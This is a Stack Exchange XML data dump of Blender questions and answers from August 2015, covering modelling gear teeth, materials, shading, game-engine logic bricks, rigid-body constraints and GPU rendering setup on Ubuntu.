  <row Id="35306" PostTypeId="1" CreationDate="2015-08-08T14:07:04.583" Score="1" ViewCount="20" Body="&lt;p&gt;Just a quick question here. I want to know the corresponding face(s) of the object I've selected in the UV view. But all faces of the object are selected so I'm unable to do that. Any help is appreciated :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/X5FIu.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/X5FIu.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15885" LastActivityDate="2015-08-08T14:07:04.583" Title="How to know the corresponding face of an object in UV view?" Tags="&lt;uv&gt;" AnswerCount="0" CommentCount="0" ClosedDate="2015-08-08T14:38:52.070" ContentLicense="CC BY-SA 3.0" />
  <row Id="35307" PostTypeId="2" ParentId="35303" CreationDate="2015-08-08T14:58:32.747" Score="7" Body="&lt;p&gt;Add a &lt;strong&gt;&lt;em&gt;Bezier Circle&lt;/em&gt;&lt;/strong&gt; (&lt;em&gt;Add--&gt;Curve--&gt;Circle&lt;/em&gt;) and delete one of its vertex.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/7CkgG.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/7CkgG.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select the whole curve and press &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;C&lt;/kbd&gt; to open it up.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/gwzJo.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/gwzJo.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Shape the curve to make it look as a grinding wheel tooth. Use &lt;kbd&gt;V&lt;/kbd&gt; button to change the &lt;em&gt;handle type&lt;/em&gt;, so you may for example make the teeth sharper.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/d47Xc.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/d47Xc.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add an &lt;strong&gt;&lt;em&gt;Empty&lt;/em&gt;&lt;/strong&gt;, then set the &lt;strong&gt;&lt;em&gt;Array Modifier&lt;/em&gt;&lt;/strong&gt; for a curve (with the settings pictured below). Set the &lt;em&gt;Count&lt;/em&gt; amount as desired. Rotate an &lt;em&gt;Empty&lt;/em&gt; to create a grinding wheel. Now changing the shape of a one tooth will affect every other one. &#xA;&lt;a href=&quot;https://i.stack.imgur.com/nuWHF.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/nuWHF.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Object Mode press &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;C&lt;/kbd&gt; to convert your curve to a mesh.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/0eDrs.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/0eDrs.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need more teeth, increase the &lt;em&gt;Count&lt;/em&gt; amount and scale the curve to make the teeth fit each other. Enable a &lt;em&gt;First Last&lt;/em&gt; checkbox to merge the first and the last teeth.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/XNRvH.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/XNRvH.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7797" LastEditorUserId="7797" LastEditDate="2015-08-08T19:21:38.950" LastActivityDate="2015-08-08T19:21:38.950" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35309" PostTypeId="2" ParentId="35300" CreationDate="2015-08-08T15:23:07.063" Score="1" Body="&lt;p&gt;In many cases it's better not to use different shading types, rather than set whole mesh as smooth.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the rest of the mesh which is intended to be flat you either add &lt;strong&gt;Edge Split&lt;/strong&gt; modifier or check &lt;em&gt;Auto Smooth&lt;/em&gt; in &lt;strong&gt;Data&lt;/strong&gt; tab &gt; &lt;em&gt;Normals&lt;/em&gt; and set the andgle you need. Then parts of the mesh will be smooth, others - flat:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/7kuqG.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/7kuqG.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;When joining several meshes with different split angles used&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this case it may be easier to use &lt;strong&gt;Edge Split&lt;/strong&gt; modifier and apply it. It will create double vertices that will make shading look depending on angle you've selected and after joining meshes even with different angle of splitting normals they all will continue look like they did before.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;In other cases&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may want to use &lt;em&gt;Auto Smooth&lt;/em&gt; as there will be no extra modifier in stack and no double vertices so the mesh will be easy to edit.&lt;/p&gt;&#xA;" OwnerUserId="1245" LastActivityDate="2015-08-08T15:23:07.063" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35310" PostTypeId="1" AcceptedAnswerId="35413" CreationDate="2015-08-08T15:55:23.703" Score="2" ViewCount="290" Body="&lt;p&gt;I am having some trouble with animations in the BGE.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I have a sphere in an inactive layer.  &lt;/li&gt;&#xA;&lt;li&gt;I animate this sphere  &lt;/li&gt;&#xA;&lt;li&gt;Another object in motion in the active layer hit a certain sensor and create the sphere in the hit position.&lt;/li&gt;&#xA;&lt;li&gt;A always sensor in the sphere play the animation&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Now the problem: The animation plays in the wrong place, no matter where  the hit point, the animation plays in the same spot. The sphere is created in the right spot, but disappear and the animation play in the wrong place, why?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/hAEoj.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/hAEoj.png&quot; alt=&quot;example&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16243" LastEditorUserId="2217" LastEditDate="2015-08-08T16:27:58.017" LastActivityDate="2015-08-10T07:30:10.133" Title="BGE Animation in wrong place" Tags="&lt;animation&gt;&lt;game-engine&gt;&lt;objects&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35311" PostTypeId="2" ParentId="35296" CreationDate="2015-08-08T16:06:29.383" Score="16" Body="&lt;p&gt;Add a new &lt;em&gt;Grease Pencil&lt;/em&gt; datablock in a properies window (&lt;kbd&gt;N&lt;/kbd&gt;). In Tool Shelf (&lt;kbd&gt;T&lt;/kbd&gt;) change the stroke placement to &lt;strong&gt;&lt;em&gt;Surface&lt;/em&gt;&lt;/strong&gt;. Hold  &lt;kbd&gt;D&lt;/kbd&gt; and then press and hold the LMB button to draw. Disable the &lt;em&gt;X Ray&lt;/em&gt; option if you don't want to see the strokes through the object. To erase, hold  &lt;kbd&gt;D&lt;/kbd&gt; button and then press and hold the RMB.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/ZEINV.gif&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZEINV.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7797" LastActivityDate="2015-08-08T16:06:29.383" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35312" PostTypeId="1" AcceptedAnswerId="35317" CreationDate="2015-08-08T16:34:08.797" Score="3" ViewCount="341" Body="&lt;p&gt;I'm experiencing some strange behaviour on a rigid body simulation. First I'll explain my situation a little bit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is half a cube and a cylinder, both with an active rigid body. The cylinder is attached to the cube with a hinge rigid body constraint so it can rotate like a wheel. The cylinder also has motor constraint attached to another small cube (passive rigid body).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With this setup I would expect that the wheel keeps spinning in the same angular direction but it doesn't. In the animation below you can see that the angular rotation of the motor reverses when crossing the Y axis on the world axes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://s27.postimg.org/4jha0ugkh/mechani_small.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://s27.postimg.org/4jha0ugkh/mechani_small.gif&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea how I can overcome this problem? I just want the wheel to be spinning in one direction while dragging the cube along with it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bithur's solution works like a charm:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://s10.postimg.org/6jhof0buv/mechani_02.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://s10.postimg.org/6jhof0buv/mechani_02.gif&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the file:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/403/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=403&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7460" LastEditorUserId="-1" LastEditDate="2017-03-14T09:17:19.773" LastActivityDate="2015-08-09T20:42:01.247" Title="Rigid body motor constraint reversing when crossing the 90 degree angle on the Z axis" Tags="&lt;constraints&gt;&lt;rigid-body-simulation&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35313" PostTypeId="2" ParentId="35303" CreationDate="2015-08-08T16:50:41.987" Score="8" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Model a single tooth.&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/m9J6w.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/m9J6w.png&quot; alt=&quot;tooth&quot;&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add an &lt;em&gt;Array&lt;/em&gt; modifier, and a &lt;em&gt;Curve&lt;/em&gt; modifier to that tooth object.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a new circle curve &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt; &gt; Curve &gt; Circle&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Set the &lt;em&gt;Fit Type&lt;/em&gt; of the array modifier to &lt;em&gt;Fit Curve&lt;/em&gt;, and target the Bezier Circle (added in step 3). Also set the &lt;em&gt;Object&lt;/em&gt; of the curve modifier to the Bezier Circle.&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/l5gjd.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/l5gjd.png&quot; alt=&quot;modifiers&quot;&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;If the teeth overlap, you can scale the circle to get the teeth to line up perfectly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/iKMPM.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/iKMPM.png&quot; alt=&quot;saw blade&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="2217" LastEditDate="2015-08-08T19:26:45.210" LastActivityDate="2015-08-08T19:26:45.210" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35314" PostTypeId="1" AcceptedAnswerId="35348" CreationDate="2015-08-08T17:37:21.870" Score="3" ViewCount="1620" Body="&lt;p&gt;Basically I have a crude maze-like object, but I want the textures of the floor and walls to be different.  How would I go about placing a texture on all faces point north, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assume I am a beginner, please.&lt;/p&gt;&#xA;" OwnerUserId="16245" LastActivityDate="2015-08-09T06:47:12.047" Title="How to add textures to faces that are facing a certain direction" Tags="&lt;texturing&gt;&lt;faces&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35315" PostTypeId="1" CreationDate="2015-08-08T17:39:15.283" Score="2" ViewCount="500" Body="&lt;p&gt;I duplicated an object, but now when I try to adjust the color, or texture to one object, it automatically adjusts it's sister's color too. How do I disconnected that relation?&lt;/p&gt;&#xA;" OwnerUserId="16246" LastEditorUserId="3078" LastEditDate="2015-12-06T23:24:42.490" LastActivityDate="2015-12-06T23:24:42.490" Title="How can I make two duplicated object's material's independently editable?" Tags="&lt;texturing&gt;&lt;materials&gt;&lt;objects&gt;&lt;linked-data&gt;" AnswerCount="1" CommentCount="5" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35316" PostTypeId="2" ParentId="35315" CreationDate="2015-08-08T18:10:55.357" Score="2" Body="&lt;p&gt;Go to the materials tab, and click on the number that appears next to the material's name. This will make it a single user, by duplicating the material, basically meaning that they can be edited separately.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/bKJBn.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/bKJBn.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8094" LastEditorUserId="3078" LastEditDate="2015-12-06T23:22:15.820" LastActivityDate="2015-12-06T23:22:15.820" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35317" PostTypeId="2" ParentId="35312" CreationDate="2015-08-08T18:48:49.420" Score="3" Body="&lt;p&gt;Changing the Object 2 to geo_body in the motor parameters seems to solve the problem&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/7isjm.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/7isjm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11431" LastActivityDate="2015-08-08T18:48:49.420" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35318" PostTypeId="1" CreationDate="2015-08-08T18:59:10.683" Score="3" ViewCount="2472" Body="&lt;p&gt;I just downloaded an aluminum material and saved it to my desktop. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://matrep.parastudios.de/index.php?action=view&amp;amp;material=655-brushed-aluminum&quot; rel=&quot;nofollow&quot;&gt;http://matrep.parastudios.de/index.php?action=view&amp;amp;material=655-brushed-aluminum&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried installing it by opening the object I wanted to apply it too and went to File &gt; Append &gt; Material and Clicked Append from Library... But.. Hmmm. But now what? I don't see a Library button to find the new aluminum material. How do I get that onto my object? Did I not install it right? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&#xA;Marc&lt;/p&gt;&#xA;" OwnerUserId="16246" LastEditorDisplayName="user1853" LastEditDate="2015-08-08T21:54:53.833" LastActivityDate="2015-08-08T21:54:53.833" Title="Cycles: Adding / Installing a Downloaded Material made for blender internal" Tags="&lt;materials&gt;" AnswerCount="0" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="35319" PostTypeId="1" CreationDate="2015-08-08T19:01:14.120" Score="2" ViewCount="149" Body="&lt;p&gt;I'm using Ubuntu 14.04 LTS, with a brand-new graphics card, GTX 750 Ti. I have even updated the drivers, but for some reason Blender (2.75a) doesn't seem to be allowing Cycles to render with my GPU. Even under User Preferences &gt; System &gt; Compute Device it says &quot;None&quot;, with the only option in the drop-down menu being &quot;CPU&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm pretty sure I purchased a decent graphics card because I bought this specially for Blender's Cycles. How can I resolve this? How do I get Blender to work with the card? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt; It looks like I managed to find the answer by referring to this thread:&#xA;&lt;a href=&quot;https://blender.stackexchange.com/questions/31045/cuda-rendering-on-linux-mint-or-ubuntu-variants/31111#31111&quot;&gt;CUDA rendering on Linux Mint or Ubuntu variants&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems Blender won't detect the card even if I switched to proprietary drivers. In this case, I did this:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Switch to proprietary drivers, &lt;/li&gt;&#xA;&lt;li&gt;Installing &lt;code&gt;nvidia-modprobe&lt;/code&gt; by typing &lt;code&gt;sudo apt-get install nvidia-modprobe&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Then, in the same way, I installed &lt;code&gt;nvidia-cuda-toolkit&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I did not need to restart the system. Just restarted Blender, and it works! &lt;/p&gt;&#xA;" OwnerUserId="16247" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:45.513" LastActivityDate="2015-08-08T22:23:49.927" Title="Blender 2.75a: No Compute-Device for Cycles under GTX 750 Ti" Tags="&lt;cycles-render-engine&gt;&lt;blender-internal-render-engine&gt;&lt;gpu&gt;&lt;opencl&gt;" AnswerCount="0" CommentCount="7" ClosedDate="2015-08-08T22:14:56.030" ContentLicense="CC BY-SA 3.0" />
  <row Id="35321" PostTypeId="2" ParentId="35314" CreationDate="2015-08-08T19:09:29.190" Score="4" Body="&lt;p&gt;In Cycles you can make a node setup like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/sFEBT.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/sFEBT.png&quot; alt=&quot;Color from normal direction&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's happening is the Geometry node is providing the object's normal data (information about the directions its faces are pointing) in the form of color values. The Separate XYZ node is taking that all in but only returning the values for the Z axis (up and down). That data is then being used to factor between the red and blue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this example the factor is mixing two shader nodes, but it could just as easily be color nodes or any node that can receive a factor input.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you wanted to change the direction you could use X or Y outputs instead of Z.&lt;/p&gt;&#xA;" OwnerUserId="2952" LastEditorUserId="2952" LastEditDate="2015-08-08T19:33:41.897" LastActivityDate="2015-08-08T19:33:41.897" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35323" PostTypeId="1" AcceptedAnswerId="35324" CreationDate="2015-08-08T19:27:59.230" Score="2" ViewCount="375" Body="&lt;p&gt;I have a fair number of logic bricks on one specific object, but recently had to add a condition to a very early part of the logic stack. This makes the trace cross almost all of the other traces and makes it look extremely cluttered. Is there some way to move it up above some of the logic bricks? Basically I want to be able to change the logic stack order.&lt;/p&gt;&#xA;" OwnerUserId="6204" LastActivityDate="2018-12-29T15:12:59.353" Title="Is it possible to move a logic brick/re-order the logic stack?" Tags="&lt;game-engine&gt;&lt;workflow&gt;&lt;logic-bricks&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35324" PostTypeId="2" ParentId="35323" CreationDate="2015-08-08T19:30:02.700" Score="3" Body="&lt;p&gt;Minimize the logic brick (the down pointing arrow in the top left corner), then click on the up or down arrows to move it through the stack.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/wX7d2.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/wX7d2.png&quot; alt=&quot;logic brick&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="2217" LastEditDate="2015-08-08T19:31:36.057" LastActivityDate="2015-08-08T19:31:36.057" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="35325" PostTypeId="1" CreationDate="2015-08-08T19:54:19.887" Score="9" ViewCount="16825" Body="&lt;p&gt;Trying to join different meshes together. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In object mode, if I select a couple of objects and try to join them I get the error &lt;code&gt;active object is not a selected mesh&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I select the meshes, it puts me into &lt;code&gt;Edit Mode&lt;/code&gt; and the &lt;code&gt;join&lt;/code&gt; command is not visible. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I select meshes in &lt;code&gt;edit mode&lt;/code&gt; then change to object mode I get the error &lt;code&gt;no data to join&lt;/code&gt;.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's super confusing.   What am I doing wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I am actually trying to do is to simplify a model, by joining parts with similar shaders together, for import into three.js . I want less data in the json file and want to make it simpler to animate in three.js, with less objects. Is there a better way to go about this?&lt;/p&gt;&#xA;" OwnerUserId="16229" LastEditorUserId="2217" LastEditDate="2015-08-08T22:15:43.603" LastActivityDate="2021-03-05T18:03:22.977" Title="&quot;active object is not a selected mesh&quot; error" Tags="&lt;mesh&gt;&lt;objects&gt;" AnswerCount="4" CommentCount="14" ContentLicense="CC BY-SA 3.0" />
  <row Id="35326" PostTypeId="1" AcceptedAnswerId="35327" CreationDate="2015-08-08T20:23:21.400" Score="2" ViewCount="90" Body="&lt;p&gt;I want to detect a collision, which is easy enough, except I need to basically have an exception. I want to do something like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/8xScY.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/8xScY.png&quot; alt=&quot;NotWater&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I am trying to do is detect all collisions except those with the property &lt;code&gt;water&lt;/code&gt;.Is there an easy way to do this? Or a hard way?&lt;/p&gt;&#xA;" OwnerUserId="6204" LastActivityDate="2015-08-08T20:23:47.760" Title="Is there a way to sense all collisions except the one selected?" Tags="&lt;game-engine&gt;&lt;logic-bricks&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35327" PostTypeId="2" ParentId="35326" CreationDate="2015-08-08T20:23:47.760" Score="4" Body="&lt;p&gt;That is super easy to do &lt;em&gt;logically&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You want the controller (in this case it is an &lt;strong&gt;and&lt;/strong&gt; controller) to send a positive pulse to the actuator(s) when the the cube collides with anything &lt;em&gt;Except&lt;/em&gt; for the objects with the property &lt;strong&gt;Water&lt;/strong&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/wD3p3.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/wD3p3.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first collision sensor is always true as long as the cube is not colliding with &lt;strong&gt;Water&lt;/strong&gt;. True level triggering is enabled, so every logic tick the &lt;strong&gt;and&lt;/strong&gt; controller gets a positive pulse. however, for the actuator to receive the pulse, &lt;em&gt;all&lt;/em&gt; sensors must be true, at the same time. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The second collision sensor detects a collision with anything. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;With this setup, a collision with water obviously will not work because the first collision sensor will not be true when colliding with water. When the cube is falling or hovering, (not colliding with anything) the first collision sensor will be true, because the cube is not colliding with water, but the second will not be true.&lt;/p&gt;&#xA;" OwnerUserId="5426" LastActivityDate="2015-08-08T20:23:47.760" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35329" PostTypeId="1" AcceptedAnswerId="35330" CreationDate="2015-08-08T22:07:15.200" Score="0" ViewCount="727" Body="&lt;p&gt;I used the Boolean modifier to make a hole in my gun and it looks like a shadery face covering up the hole. It's a bit hard to see and it isn't really a face. The hole i made goes through 3 meshes. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;(You need to click on the pic to see the shady face)&#xA;&lt;a href=&quot;https://i.stack.imgur.com/7TjEi.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/7TjEi.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any solution?&lt;/p&gt;&#xA;" OwnerUserId="15871" LastEditorUserId="15871" LastEditDate="2015-08-08T23:58:20.673" LastActivityDate="2015-08-08T23:58:20.673" Title="Weird face after Boolean..?" Tags="&lt;mesh&gt;&lt;modifiers&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35330" PostTypeId="2" ParentId="35329" CreationDate="2015-08-08T22:18:30.913" Score="2" Body="&lt;p&gt;It's because the 3 meshes' faces are overlapping. Move the faces of 2 of your 3 objects a tiny bit away (along normals or X/Y/Z).&lt;/p&gt;&#xA;" OwnerUserId="11431" LastActivityDate="2015-08-08T22:18:30.913" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35331" PostTypeId="1" CreationDate="2015-08-08T23:21:39.663" Score="0" ViewCount="527" Body="&lt;p&gt;I have been following &lt;a href=&quot;https://youtu.be/06A_l95vJWw?list=WL&amp;amp;t=3403&quot; rel=&quot;nofollow noreferrer&quot;&gt;BlenderGuru's Create a Spaceship in Blender tutorial&lt;/a&gt;.&#xA;So far so good, until now when doing the compositing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I believe I have followed every step he mentioned, I have also revised them a few times. Yet when I change the ID Mask's Index (as he does), nothing changes on my screen. &#xA;I did assign the Material Pass Index to the material that will be glowing, which is on the 2nd layer. The Render layers are correctly setup, with the main layer set to create the Mat Index pass.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But instead of getting something rendered in the 2nd layer (so it can become the glow eventually) I only get a totally black or white screen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note Price only uses 1 render layer node. And only the main scene layer is enabled when rendering. Somehow this works for him.&#xA;I have been advised to use 2 render layer nodes instead, and to enable both 1st &amp;amp; 2nd scene layers for rendering. This alternative method does work to some extent, as the 2nd layer gets rendered. The problem is that you end up with the glow behind the box, when it should be over it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you go to this specific &lt;a href=&quot;https://youtu.be/06A_l95vJWw?t=3123&quot; rel=&quot;nofollow noreferrer&quot;&gt;time in the video&lt;/a&gt; you'll see while he's creating the Render layers, he only needs to identify the Render layers, but the Scene layers stay the same, which is only #1 (where the spaceship is).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, you can inspect my test file should you want. &lt;a href=&quot;https://i.stack.imgur.com/1P8Wz.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/1P8Wz.png&quot; alt=&quot;icon&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://blenderartists.org/forum/attachment.php?attachmentid=393285&amp;amp;d=1438800074&quot; rel=&quot;nofollow noreferrer&quot;&gt;nopass_02.blend&lt;/a&gt;. This one is the one like Price's, with 1 render layer node.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the other one with the alternative method, with &lt;a href=&quot;https://i.stack.imgur.com/1P8Wz.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/1P8Wz.png&quot; alt=&quot;&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://www.pasteall.org/blend/37464&quot; rel=&quot;nofollow noreferrer&quot;&gt;2 render layer nodes&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="15508" LastEditorUserId="2217" LastEditDate="2015-08-09T00:36:46.737" LastActivityDate="2015-08-09T00:36:46.737" Title="I can't see the 2nd layer rendered in the Compositor" Tags="&lt;cycles-render-engine&gt;&lt;compositor&gt;&lt;render-layers&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
